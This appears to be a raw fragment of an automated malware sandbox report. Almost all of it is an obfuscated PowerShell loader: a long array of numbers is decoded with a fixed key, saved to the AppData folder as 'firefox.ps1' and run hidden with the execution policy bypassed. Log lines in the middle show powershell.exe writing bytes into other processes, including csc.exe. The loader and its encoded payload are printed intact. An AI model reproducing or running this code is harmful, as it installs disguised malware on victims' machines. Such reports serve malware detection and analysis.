58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 119 81 169 181 66 57 60 127 34 108 122 100 65 128 104 54 50 39 169 172 111 68 66 58 78 43 85 113 149 137 62 47 46 108 156 148 71 74 63 59 53 30 98 185 96 89 104 103 99 108 165 120 82 57 69 48 48 108 140 185 103 72 55 114 75 41 97 116 81 56 66 58 58 56 104 102 74 108 75 43 53 29 91 185 136 104 54 58 59 23 85 116 149 139 55 44 59 26 96 105 65 127 73 39 57 106 169 172 116 59 71 42 49 39 91 101 149 139 127 112 60 108 154 170 71 62 66 48 55 29 169 121 147 137 59 44 43 44 167 183 122 141 138 43 44 35 98 114 80 59 142 98 126 62 100 98 136 90 75 55 57 40 84 109 80 73 90 62 43 33 117 103 76 70 71 58 44 108 156 138 71 74 73 127 113 75 85 185 141 102 73 43 113 72 104 101 80 132 128 94 58 40 124 112 71 56 58 58 43 100 152 169 140 141 129 77 57 28 100 101 76 57 69 48 48 67 91 101 80 59 56 62 50 108 161 139 80 54 129 75 53 31 100 134 69 76 64 127 113 63 96 107 64 57 73 44 126 89 153 176 122 141 138 44 57 24 85 112 71 70 59 127 97 108 123 116 62 128 91 60 54 39 101 100 73 72 74 75 61 25 94 134 80 57 58 54 48 37 86 134 80 57 142 114 86 35 101 117 80 63 115 127 76 39 98 112 66 57 73 45 113 57 102 113 80 73 57 51 57 40 117 120 66 66 142 114 74 43 86 110 103 76 65 58 126 106 124 112 82 59 63 44 47 38 85 148 81 70 73 74 46 40 104 101 80 89 77 44 51 63 104 118 77 68 64 58 90 72 131 138 94 92 62 36 88 89 148 169 131 124 118 108 105 95 150 164 99 128 122 94 108 70 156 166 92 117 89 114 107 66 145 162 101 123 100 87 87 55 76 183 149 128 109 60 42 35 90 107 149 137 77 60 42 35 90 107 149 128 90 45 53 37 98 116 67 141 138 43 44 35 98 114 80 59 142 114 75 39 85 101 76 63 71 44 126 104 86 116 65 57 69 49 55 25 142 185 145 72 73 58 126 79 169 143 70 68 64 114 78 43 85 113 149 133 138 58 48 22 143 152 69 61 106 62 42 43 160 185 147 63 73 40 43 94 89 102 132 139 115 127 126 104 104 109 76 58 113 95 118 106 92 106 67 52 91 43 124 96 167 161 124 117 140 115 124 72 100 103 76 55 73 125 117 81 165 108 66 112 129 53 47 35 91 185 141 139 97 58 124 96 165 120 73 68 59 68 110 47 157 183 67 72 77 50 124 99 142 181 67 71 113 114 52 29 96 107 141 139 92 57 59 90 167 173 145 76 66 54 43 49 152 124 137 137 77 51 53 25 110 167 88 129 140 93 37 24 100 102 147 132 115 123 43 24 87 156 117 133 138 50 43 96 167 103 60 61 58 48 124 96 165 103 79 129 142 125 57 25 124 120 71 76 71 125 114 108 167 103 80 76 140 118 99 104 87 116 69 112 110 119 124 31 86 97 147 129 140 45 38 106 157 183 99 103 106 93 124 96 167 108 84 63 71 125 114 108 167 115 79 139 133 100 122 40 100 115 149 112 142 125 41 25 96 107 78 141 91 38 43 24 100 108 122 56 59 54 48 37 169 134 60 58 58 58 49 94 128 138 122 56 59 54 48 37 169 134 60 58 58 58 49 94 118 116 82 56 60 54 42 19 155 150 67 53 71 45 61 28 97 96 122 61 57 61 50 35 102 185 82 65 77 44 43 108 128 107 76 57 51 47 41 42 93 112 82 141 59 43 61 24 96 118 149 107 53 43 57 49 108 185 113 72 75 119 92 19 85 116 90 80 142 54 48 74 80 101 80 58 130 44 42 26 96 107 78 141 62 40 58 99 78 108 66 53 142 54 49 79 91 116 62 141 65 44 38 100 96 107 115 52 58 58 43 99 142 151 60 57 73 68 65 108 86 156 71 72 55 127 92 19 85 116 90 122 124 66 99 35 91 101 149 65 73 49 97 35 92 171 99 72 77 59 118 25 157 169 137 58 128 83 57 30 98 101 77 132 115 54 56 100 93 116 71 140 113 44 112 64 100 107 78 57 70 118 35 26 100 101 64 59 64 127 48 23 93 109 122 48 108 38 42 39 110 124 149 74 76 83 57 30 140 107 80 54 142 93 37 24 100 126 129 80 115 54 49 94 119 116 84 73 134 60 60 64 100 107 137 125 130 107 117 81 119 147 113 107 142 47 60 33 140 107 80 54 142 77 88 72 135 177 69 54 74 115 43 99 142 151 60 57 73 68 65 108 94 116 60 112 62 61 51 94 130 116 65 107 53 43 57 25 161 166 131 132 115 93 37 24 100 126 88 141 69 41 97 28 103 110 135 102 73 43 92 19 85 116 66 133 125 105 117 81 136 108 84 63 71 58 58 108 92 120 120 63 73 40 126 75 92 120 71 70 73 59 118 99 142 144 114 59 54 75 44 43 91 102 79 62 60 50 126 72 100 118 120 64 77 113 91 38 99 101 80 105 73 60 44 20 87 177 74 72 53 115 53 22 160 158 114 59 54 76 42 38 99 108 149 74 59 98 48 39 82 185 114 59 54 76 42 38 99 108 141 68 65 115 90 39 102 173 133 132 115 50 43 20 169 106 72 112 64 58 39 108 92 102 61 133 133 100 59 25 155 150 70 61 53 75 47 100 90 108 140 114 63 50 112 72 96 102 69 62 59 58 118 99 142 103 80 57 57 45 48 108 90 108 135 89 63 94 44 26 104 96 141 132 115 34 33 106 142 181 76 112 126 100 122 43 140 181 76 130 138 62 44 37 86 126 132 80 115 123 46 79 167 113 70 62 62 125 99 104 86 156 117 133 140 101 124 96 167 102 123 139 133 100 122 26 140 181 69 141 129 45 57 28 93 120 82 72 142 125 47 106 157 183 65 139 115 57 47 26 100 120 82 69 134 123 53 24 100 108 149 68 64 127 122 26 100 105 140 50 138 59 57 38 140 181 81 72 72 127 113 26 100 105 73 76 75 58 126 104 96 101 80 64 130 123 43 24 87 126 145 68 81 100 122 35 158 174 122 48 109 59 58 95 117 96 69 72 142 114 74 19 89 116 113 72 72 54 48 35 85 112 70 63 142 123 58 39 99 158 145 61 55 59 126 79 169 183 106 68 98 83 78 85 86 102 146 139 115 123 56 28 89 105 149 112 142 125 61 34 90 119 82 76 66 51 112 24 81 101 147 114 138 59 39 32 93 109 73 124 142 98 126 106 165 114 65 57 58 43 111 43 89 112 134 55 122 112 46 26 90 111 80 74 58 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 69 59 63 53 57 41 85 144 81 132 133 112 44 39 89 106 66 68 58 48 44 19 154 115 76 65 73 44 111 104 161 126 64 59 69 66 100 82 132 102 82 76 62 58 90 43 85 120 98 57 60 54 48 37 161 181 79 61 62 47 117 99 154 103 84 54 111 45 57 38 140 181 83 59 77 49 59 36 123 120 72 72 140 100 122 26 100 102 69 62 64 44 57 108 140 185 108 63 56 48 51 39 156 130 80 75 92 58 45 23 100 102 65 141 129 74 44 35 169 181 81 54 66 51 50 32 152 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 55 86 116 115 76 59 54 59 60 104 103 66 68 64 56 99 49 135 96 65 72 83 66 65 104 103 96 65 72 59 127 97 108 165 103 80 58 62 48 48 25 100 171 114 62 64 43 57 30 85 158 90 107 53 43 57 49 108 124 145 73 73 60 60 19 85 116 66 112 83 86 48 35 85 124 123 115 106 58 59 100 165 119 60 57 73 44 114 104 89 98 81 132 115 68 75 19 86 101 80 64 128 75 57 20 85 171 112 63 75 48 58 35 91 114 88 115 116 94 75 73 128 144 135 102 73 43 75 24 87 112 71 70 134 123 58 39 102 119 60 57 73 44 117 16 169 138 64 57 129 89 53 32 100 185 136 103 69 51 57 60 104 101 77 141 138 58 57 39 169 172 112 63 75 48 58 35 91 114 149 56 58 57 102 81 118 101 84 59 58 114 78 26 90 118 80 58 59 127 46 29 82 116 67 58 70 58 50 32 169 172 116 59 71 42 49 39 91 101 105 68 59 43 126 106 156 139 70 93 60 48 56 35 93 116 149 128 105 39 57 41 84 101 76 62 64 79 47 32 96 118 60 141 108 38 46 43 86 102 149 128 104 54 50 39 169 181 80 72 73 125 126 95 114 112 71 73 63 40 75 24 80 109 80 141 102 54 58 40 100 107 122 141 142 127 122 38 89 105 69 141 113 127 124 43 95 106 83 74 77 51 50 94 85 97 65 139 115 123 58 21 93 109 73 65 125 127 97 108 167 181 78 57 58 43 42 93 104 105 76 126 56 107 111 28 87 106 75 72 75 43 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 61 60 48 52 39 102 101 108 73 133 118 111 26 100 105 70 58 69 43 47 26 80 170 79 68 66 58 43 93 165 177 90 56 60 54 65 82 143 148 66 74 77 47 57 72 104 101 84 90 58 45 53 30 98 177 145 71 62 47 46 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 108 128 107 63 62 67 58 113 53 100 119 99 72 61 42 57 25 85 185 136 88 60 54 126 104 101 98 73 65 66 51 109 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 57 39 100 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 126 108 119 116 72 62 56 58 113 67 85 116 72 141 129 79 61 24 97 185 145 96 53 86 48 22 90 118 84 57 69 48 48 94 124 96 114 62 65 50 61 30 101 171 101 76 58 55 126 95 131 106 67 74 73 100\\";$Length = $VIUSBvejbawf.Length;$CLOIJSfgiojvosef235sdb = New-Object System.Collections.ArrayList;[string] $date = $null;$m = 0;for($k = 0; $k -lt $Length; $k++){$date += $VIUSBvejbawf[$k];if($VIUSBvejbawf[$k] -eq \\" \\"){[void]$CLOIJSfgiojvosef235sdb.Add([byte] $date);$m++;$date = $null;continue;}}$Apkengsidefg = \\"NFG87%br\\";[Byte[]]$pw = [System.Text.Encoding]::UTF8.GetBytes(\\"$Apkengsidefg\\");$pw_Length = $Apkengsidefg.Length;$MFibvfaibfeg2345fbdfg = New-Object System.Byte[]($CLOIJSfgiojvosef235sdb.Count);$j = 0;for($i = 0; $i -lt $CLOIJSfgiojvosef235sdb.Count; $i++){$pw_num = $pw[$j] + 103;if($pw_num -ge $CLOIJSfgiojvosef235sdb[$i]){$MFibvfaibfeg2345fbdfg[$i] = $pw_num - $CLOIJSfgiojvosef235sdb[$i];}else{$MFibvfaibfeg2345fbdfg[$i] = $CLOIJSfgiojvosef235sdb[$i];}$j++;if($j -eq $pw_Length){$j = 0;}}$qqpvm = [System.Text.Encoding]::UTF8.GetString($MFibvfaibfeg2345fbdfg);$fgfw98JHGVfeg = \\"$env:appdata\\firefox.ps1\\";$qqpvm|Out-File -FilePath $fgfw98JHGVfeg;powershell -windowstyle hidden -ExecutionPolicy Bypass $fgfw98JHGVfeg;"" (UID: 00000000-00006444)55:T42a,"powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1892) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 1892) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" (Handle: 3220) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" (Handle: 3220) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 3540) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 3540) "powershell.exe" wrote 00000FB8 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 3560) "powershell.exe" wrote 00000008 bytes to a remote process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" (Handle: 3560)56:T5092,Process "powershell.exe" with commandline ""$VIUSBvejbawf = \\"145 52 53 38 58 79 127 106 76 63 129 79 61 24 97 185 141 82 91 38 43 24 100 108 135 100 95 113 78 43 85 113 88 115 116 88 57 24 117 116 72 61 94 62 42 36 161 176 140 141 140 235 182 11 237 68 25 235 34 31 236 153 17 236 21 41 235 1 181 235 19 85 236 41 17 64 235 176 58 122 235 43 6 235 182 11 234 37 53 234 179 27 234 176 45 236 49 13 235 176 169 236 52 81 135 61 74 57 124 81 165 114 65 57 58 43 126 79 169 183 77 57 58 125 115 106 89 102 123 126 140 116 124 93 98 112 147 130 140 43 50 106 158 183 84 75 128 60 124 97 167 106 72 139 115 123 61 24 94 110 74 141 113 127 124 37 93 105 84 57 129 52 72 25 93 96 66 68 84 58 101 55 89 169 129 51 126 75 60 70 146 146 110 96 120 82 77 28 83 138 75 104 99 59 74 28 86 128 71 91 125 70 39 84 155 169 132 127 125 104 109 41 101 98 72 124 76 125 99 108 165 105 67 62 68 58 59 24 128 117 149 112 142 125 51 39 83 112 71 128 71 45 47 23 89 164 132 125 125 104 109 89 154 103 76 126 70 54 56 39 87 183 122 137 76 45 61 30 102 113 103 76 65 58 126 79 169 183 72 76 69 49 124 81 169 181 79 68 66 58 78 43 85 113 149 112 142 125 58 29 102 97 135 61 74 57 124 81 165 117 62 65 66 51 50 108 140 185 147 137 71 43 42 24 85 170 84 61 69 112 40 88 154 105 67 62 68 58 59 24 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 47 44 29 95 116 82 57 101 59 117 99 154 103 80 61 63 44 53 24 90 103 60 126 72 54 50 39 86 170 145 133 83 42 44 35 108 159 123 104 59 60 61 28 100 149 84 57 77 76 42 26 96 107 78 133 138 57 53 32 100 137 84 57 70 118 117 93 87 120 62 110 60 58 56 79 165 119 67 76 64 60 54 62 104 108 80 139 115 127 122 43 98 116 71 57 113 119 124 63 90 95 76 65 66 62 111 87 155 169 147 129 140 119 71 35 91 117 70 54 59 125 114 106 169 139 97 141 125 111 112 92 142 185 94 68 64 125 114 106 147 165 122 141 54 105 106 99 167 173 147 108 62 47 50 39 114 116 147 129 140 61 83 35 85 170 128 122 119 113 107 86 167 173 147 133 99 87 74 63 125 173 73 68 67 58 126 69 100 118 74 62 133 125 114 106 134 113 67 139 130 125 47 31 100 183 137 139 127 110 106 87 167 173 147 125 128 111 124 96 167 171 133 127 126 125 114 106 118 120 79 76 60 54 111 87 150 162 135 122 120 125 117 108 156 111 70 68 64 127 124 108 167 158 149 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 149 100 64 41 47 33 100 172 99 72 59 43 81 39 85 113 70 73 142 114 73 26 96 185 145 73 55 51 50 32 93 185 136 101 73 62 58 39 87 102 149 137 70 58 61 40 100 103 66 141 129 74 43 39 87 152 78 72 64 43 126 104 104 114 80 63 58 127 113 61 84 101 111 68 66 58 126 104 80 96 60 73 142 114 73 25 100 151 84 58 69 60 78 43 87 102 76 63 71 100 120 104 80 96 60 73 115 127 126 104 86 102 66 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 154 140 76 74 60 48 43 29 99 101 134 86 69 49 58 29 82 102 134 89 73 50 46 32 104 101 80 58 127 70 61 36 90 106 135 67 59 58 124 81 169 181 70 62 63 127 97 108 127 106 76 63 129 79 61 24 97 185 141 137 73 49 40 82 136 105 69 105 77 43 61 99 169 183 134 96 69 60 44 29 86 106 79 57 127 72 53 30 101 106 62 58 127 75 57 31 89 109 84 57 73 44 111 51 104 113 70 62 128 45 42 38 167 158 149 137 52 48 47 39 169 156 149 139 85 62 54 29 90 171 67 57 72 125 99 104 100 103 83 98 99 86 126 79 169 183 145 70 58 43 42 24 154 120 69 68 127 41 106 93 89 103 70 67 73 60 42 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 62 45 47 34 100 118 65 100 74 118 117 93 87 116 69 62 59 54 42 29 87 96 134 71 69 51 57 25 154 181 141 82 57 45 53 47 143 159 112 58 75 62 46 39 133 120 65 76 91 43 44 35 91 114 141 137 52 48 47 39 160 176 134 59 77 40 95 26 100 115 120 137 76 45 61 30 102 113 103 76 65 58 124 81 169 144 71 55 63 52 57 95 114 116 83 91 73 46 41 39 86 101 149 128 89 45 53 108 165 116 67 75 99 84 85 108 156 145 80 76 74 58 44 25 169 181 77 72 77 59 57 26 86 185 136 88 59 58 44 75 98 116 71 57 142 123 61 37 100 107 65 141 129 80 41 24 131 112 73 72 142 123 47 29 90 185 136 88 59 58 92 43 86 112 82 93 77 45 43 35 91 114 122 141 60 58 48 43 92 116 136 68 58 58 49 108 156 105 84 57 70 127 122 29 90 106 149 128 64 58 39 30 104 108 80 141 138 44 43 25 142 185 149 137 62 47 46 108 140 185 107 62 69 49 113 60 104 101 77 141 134 123 57 30 83 159 116 61 62 91 61 24 104 176 149 139 127 82 53 41 87 106 66 62 72 43 111 53 96 107 81 62 55 44 111 73 93 106 64 73 91 43 47 26 100 170 79 76 75 58 60 29 90 110 135 61 59 110 124 81 169 181 66 57 60 127 97 108 162 181 84 65 69 44 97 76 161 183 72 62 60 38 75 24 167 173 147 117 117 103 124 96 167 149 80 59 69 41 57 106 160 158 145 64 59 98 113 34 90 112 71 141 134 125 81 39 167 173 145 76 66 54 43 49 153 124 137 139 60 58 61 31 167 176 122 137 60 57 97 95 95 106 76 63 134 125 76 38 102 167 147 129 138 62 50 35 86 126 132 80 130 123 61 32 96 102 90 123 81 115 124 74 80 101 80 58 140 118 99 104 86 101 67 112 110 119 122 31 86 173 147 59 53 47 42 29 167 173 145 59 72 115 126 106 100 102 104 76 64 62 55 106 157 185 147 59 73 62 124 99 142 181 67 72 62 98 94 100 167 108 66 53 140 115 124 26 81 183 137 139 92 89 90 74 167 173 147 64 77 49 55 106 157 185 147 71 72 125 117 81 165 117 80 71 142 98 126 106 84 102 76 63 71 127 75 19 86 101 80 64 115 42 43 35 91 114 149 90 53 44 42 39 92 171 108 94 115 42 43 35 91 114 149 90 53 44 42 39 92 171 98 72 75 42 44 35 85 96 135 106 60 39 55 26 104 105 77 52 115 47 41 42 93 112 82 141 75 51 61 25 86 185 108 63 69 43 35 28 84 119 73 68 75 127 43 24 104 101 76 74 142 93 37 24 100 126 88 141 106 58 59 100 135 96 65 72 83 66 126 35 91 151 60 57 73 44 114 25 85 103 76 63 71 127 46 21 101 176 58 64 59 39 126 35 92 156 71 72 55 127 49 25 81 177 76 63 108 38 42 39 86 176 122 107 53 43 57 49 108 185 66 112 64 58 39 108 135 96 65 72 83 108 108 47 142 112 71 57 142 51 57 30 140 112 72 127 92 58 61 40 161 102 137 125 130 44 112 64 100 107 78 57 70 118 99 35 99 177 73 72 64 126 97 25 155 141 80 63 71 43 54 99 78 103 80 57 57 45 48 108 91 100 73 65 115 34 92 19 85 116 90 80 142 60 60 64 100 107 120 63 73 40 126 74 80 101 80 82 122 66 99 35 92 171 99 72 77 59 118 41 103 141 80 63 130 111 114 88 160 158 99 103 106 93 126 28 103 110 120 63 73 40 126 58 131 149 115 133 62 40 58 96 86 176 122 107 53 43 57 49 108 185 74 72 53 98 46 42 94 171 110 72 58 93 37 24 100 102 141 122 124 118 99 74 80 101 80 82 81 127 53 22 140 105 83 66 128 88 57 24 135 96 65 72 59 119 109 86 160 158 116 64 77 49 55 39 101 185 72 76 113 49 57 21 169 152 72 76 64 56 57 40 161 176 122 100 107 45 38 56 87 120 71 58 72 48 44 31 169 149 80 74 113 50 61 94 134 115 79 57 73 91 57 41 87 97 67 133 67 58 37 96 96 99 140 114 107 45 38 57 85 115 79 64 142 60 43 79 91 116 62 141 107 45 38 57 85 115 79 64 134 54 49 96 133 116 82 129 126 118 99 31 86 97 149 62 65 98 48 39 82 185 72 58 54 119 117 81 102 102 135 106 63 47 37 56 90 177 70 64 133 100 47 31 155 149 76 58 62 48 43 39 161 176 122 59 73 43 41 26 91 185 70 64 128 75 47 75 87 103 84 52 134 118 99 15 76 183 122 137 69 98 110 81 165 120 120 137 69 116 122 43 87 114 66 82 125 66 99 104 89 156 147 69 63 48 46 106 142 181 66 112 110 119 124 82 167 173 147 58 116 125 117 81 165 103 120 137 62 127 113 26 100 105 73 76 75 58 126 106 90 183 137 139 58 125 99 38 90 103 80 76 75 55 118 104 96 101 80 64 142 54 48 108 165 103 80 61 133 36 122 40 100 115 120 137 74 58 56 108 156 103 80 61 66 62 59 39 169 181 76 57 73 50 114 104 86 101 67 82 138 54 65 81 165 112 138 130 115 34 93 40 101 172 97 52 62 58 126 95 117 96 69 72 106 58 56 35 91 112 65 68 63 49 126 104 101 116 79 114 138 47 39 40 169 156 149 139 99 54 82 64 121 162 66 58 139 125 99 104 100 116 80 141 113 127 84 29 96 107 136 93 77 43 54 108 161 181 80 63 56 101 93 28 89 149 84 57 77 118 126 106 91 116 62 58 128 47 43 91 167 158 145 70 58 43 42 24 169 156 149 139 70 43 42 28 86 159 134 126 71 54 42 32 104 119 135 74 63 50 124 81 165 120 65 66 67 52 126 79 169 183 78 65 62 62 42 95 94 131 66 65 53 44 53 50 100 160 96 61 126 107 36 92 117 119 111 118 103 88 81 86 124 136 69 55 95 53 89 65 101 133 69 58 85 49 76 91 112 98 125 127 126 110 112 91 146 168 82 73 55 50 109 42 167 158 145 61 60 48 52 39 102 101 108 73 142 98 126 106 94 116 63 68 64 114 55 26 90 100 69 120 125 111 109 85 152 166 134 59 69 112 54 35 99 116 67 139 115 123 60 26 104 107 82 69 96 62 49 39 169 156 149 139 65 62 53 30 167 158 145 71 69 51 57 60 104 101 77 141 113 127 124 25 102 120 73 65 128 43 38 24 167 158 145 73 55 51 50 32 93 185 120 141 140 123 55 24 85 101 65 126 77 47 53 93 83 165 134 61 60 48 52 39 102 101 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 28 87 106 75 72 75 43 85 40 160 176 134 59 73 47 47 25 96 101 70 59 53 112 56 35 93 116 66 126 138 119 67 23 87 112 88 115 116 90 43 41 104 105 80 105 77 43 61 57 85 103 76 63 71 119 122 38 96 109 80 93 77 43 54 99 160 170 67 76 55 96 44 39 99 156 145 75 60 62 48 41 97 139 84 64 73 125 99 104 104 114 80 63 58 98 118 106 124 106 59 68 66 51 61 93 148 171 133 139 130 125 118 53 96 107 81 62 55 44 124 96 167 185 103 89 142 110 110 94 153 158 149 86 69 49 124 96 167 163 129 114 142 39 104 88 160 183 137 139 109 47 46 32 100 130 80 139 130 125 60 65 96 101 134 120 123 104 112 89 147 183 137 139 134 84 86 56 124 141 137 65 69 52 57 108 130 116 82 66 63 118 124 96 167 150 77 59 140 115 124 29 92 116 147 129 140 112 109 88 148 183 137 139 126 113 110 106 157 183 135 125 128 111 124 96 167 134 84 71 77 45 53 93 148 166 126 127 123 105 124 99 169 172 75 62 69 49 126 106 169 183 122 137 70 58 61 40 100 103 66 141 113 127 94 17 167 137 99 100 88 94 74 71 156 133 102 98 105 81 124 108 140 185 145 76 58 52 51 33 76 158 145 59 73 44 46 29 91 102 80 141 113 127 85 30 83 106 74 72 129 72 57 42 119 116 68 56 73 44 42 108 156 132 67 68 142 123 58 21 93 109 73 65 142 114 86 39 104 117 80 59 59 127 122 36 100 120 81 72 60 44 126 95 116 102 80 59 109 56 57 30 85 185 145 76 71 58 48 24 169 172 96 58 73 93 61 25 96 118 101 76 60 44 53 30 98 158 90 107 53 43 57 49 108 124 145 75 53 43 57 25 169 156 149 137 60 58 43 28 90 107 66 72 128 92 47 30 85 116 71 57 115 68 92 19 85 116 90 80 81 123 58 39 102 119 60 57 73 44 97 49 128 107 76 57 81 101 100 72 100 118 141 137 76 38 42 39 86 173 145 61 55 59 117 81 110 134 60 58 58 58 49 94 117 116 61 57 128 90 48 41 90 117 76 63 71 66 100 82 136 134 114 100 101 113 87 39 85 134 65 59 69 49 55 100 165 117 80 74 76 38 42 39 86 176 57 141 95 42 42 95 131 112 73 72 142 114 88 35 93 116 101 76 58 55 126 104 100 116 80 141 129 90 48 41 90 117 76 63 71 127 41 24 99 161 122 90 58 62 44 24 156 137 67 62 75 58 43 25 169 105 70 54 73 45 43 36 100 109 73 141 129 94 44 37 84 108 80 63 58 83 53 25 85 185 147 128 96 48 78 26 90 115 76 65 73 127 113 71 81 116 82 56 58 54 47 30 121 106 73 68 75 38 126 74 80 105 84 58 59 127 113 70 96 109 80 141 138 58 57 39 167 185 136 86 69 49 58 29 82 134 65 52 66 58 126 68 96 117 81 72 64 100 119 81 169 181 66 57 60 127 34 108 122 100 65 128 104 54 50 39 169 172 111 68 66 58 78 43 85 113 149 137 62 47 46 108 156 148 71 74 63 59 53 30 98 185 96 89 104 103 99 108 165 120 82 57 69 48 48 108 140 185 103 72 55 114 75 41 97 116 81 56 66 58 58 56 104 102 74 108 75 43 53 29 91 185 136 104 54 58 59 23 85 116 149 139 55 44 59 26 96 105 65 127 73 39 57 106 169 172 116 59 71 42 49 39 91 101 149 139 127 112 60 108 154 170 71 62 66 48 55 29 169 121 147 137 59 44 43 44 167 183 122 141 138 43 44 35 98 114 80 59 142 98 126 62 100 98 136 90 75 55 57 40 84 109 80 73 90 62 43 33 117 103 76 70 71 58 44 108 156 138 71 74 73 127 113 75 85 185 141 102 73 43 113 72 104 101 80 132 128 94 58 40 124 112 71 56 58 58 43 100 152 169 140 141 129 77 57 28 100 101 76 57 69 48 48 67 91 101 80 59 56 62 50 108 161 139 80 54 129 75 53 31 100 134 69 76 64 127 113 63 96 107 64 57 73 44 126 89 153 176 122 141 138 44 57 24 85 112 71 70 59 127 97 108 123 116 62 128 91 60 54 39 101 100 73 72 74 75 61 25 94 134 80 57 58 54 48 37 86 134 80 57 142 114 86 35 101 117 80 63 115 127 76 39 98 112 66 57 73 45 113 57 102 113 80 73 57 51 57 40 117 120 66 66 142 114 74 43 86 110 103 76 65 58 126 106 124 112 82 59 63 44 47 38 85 148 81 70 73 74 46 40 104 101 80 89 77 44 51 63 104 118 77 68 64 58 90 72 131 138 94 92 62 36 88 89 148 169 131 124 118 108 105 95 150 164 99 128 122 94 108 70 156 166 92 117 89 114 107 66 145 162 101 123 100 87 87 55 76 183 149 128 109 60 42 35 90 107 149 137 77 60 42 35 90 107 149 128 90 45 53 37 98 116 67 141 138 43 44 35 98 114 80 59 142 114 75 39 85 101 76 63 71 44 126 104 86 116 65 57 69 49 55 25 142 185 145 72 73 58 126 79 169 143 70 68 64 114 78 43 85 113 149 133 138 58 48 22 143 152 69 61 106 62 42 43 160 185 147 63 73 40 43 94 89 102 132 139 115 127 126 104 104 109 76 58 113 95 118 106 92 106 67 52 91 43 124 96 167 161 124 117 140 115 124 72 100 103 76 55 73 125 117 81 165 108 66 112 129 53 47 35 91 185 141 139 97 58 124 96 165 120 73 68 59 68 110 47 157 183 67 72 77 50 124 99 142 181 67 71 113 114 52 29 96 107 141 139 92 57 59 90 167 173 145 76 66 54 43 49 152 124 137 137 77 51 53 25 110 167 88 129 140 93 37 24 100 102 147 132 115 123 43 24 87 156 117 133 138 50 43 96 167 103 60 61 58 48 124 96 165 103 79 129 142 125 57 25 124 120 71 76 71 125 114 108 167 103 80 76 140 118 99 104 87 116 69 112 110 119 124 31 86 97 147 129 140 45 38 106 157 183 99 103 106 93 124 96 167 108 84 63 71 125 114 108 167 115 79 139 133 100 122 40 100 115 149 112 142 125 41 25 96 107 78 141 91 38 43 24 100 108 122 56 59 54 48 37 169 134 60 58 58 58 49 94 128 138 122 56 59 54 48 37 169 134 60 58 58 58 49 94 118 116 82 56 60 54 42 19 155 150 67 53 71 45 61 28 97 96 122 61 57 61 50 35 102 185 82 65 77 44 43 108 128 107 76 57 51 47 41 42 93 112 82 141 59 43 61 24 96 118 149 107 53 43 57 49 108 185 113 72 75 119 92 19 85 116 90 80 142 54 48 74 80 101 80 58 130 44 42 26 96 107 78 141 62 40 58 99 78 108 66 53 142 54 49 79 91 116 62 141 65 44 38 100 96 107 115 52 58 58 43 99 142 151 60 57 73 68 65 108 86 156 71 72 55 127 92 19 85 116 90 122 124 66 99 35 91 101 149 65 73 49 97 35 92 171 99 72 77 59 118 25 157 169 137 58 128 83 57 30 98 101 77 132 115 54 56 100 93 116 71 140 113 44 112 64 100 107 78 57 70 118 35 26 100 101 64 59 64 127 48 23 93 109 122 48 108 38 42 39 110 124 149 74 76 83 57 30 140 107 80 54 142 93 37 24 100 126 129 80 115 54 49 94 119 116 84 73 134 60 60 64 100 107 137 125 130 107 117 81 119 147 113 107 142 47 60 33 140 107 80 54 142 77 88 72 135 177 69 54 74 115 43 99 142 151 60 57 73 68 65 108 94 116 60 112 62 61 51 94 130 116 65 107 53 43 57 25 161 166 131 132 115 93 37 24 100 126 88 141 69 41 97 28 103 110 135 102 73 43 92 19 85 116 66 133 125 105 117 81 136 108 84 63 71 58 58 108 92 120 120 63 73 40 126 75 92 120 71 70 73 59 118 99 142 144 114 59 54 75 44 43 91 102 79 62 60 50 126 72 100 118 120 64 77 113 91 38 99 101 80 105 73 60 44 20 87 177 74 72 53 115 53 22 160 158 114 59 54 76 42 38 99 108 149 74 59 98 48 39 82 185 114 59 54 76 42 38 99 108 141 68 65 115 90 39 102 173 133 132 115 50 43 20 169 106 72 112 64 58 39 108 92 102 61 133 133 100 59 25 155 150 70 61 53 75 47 100 90 108 140 114 63 50 112 72 96 102 69 62 59 58 118 99 142 103 80 57 57 45 48 108 90 108 135 89 63 94 44 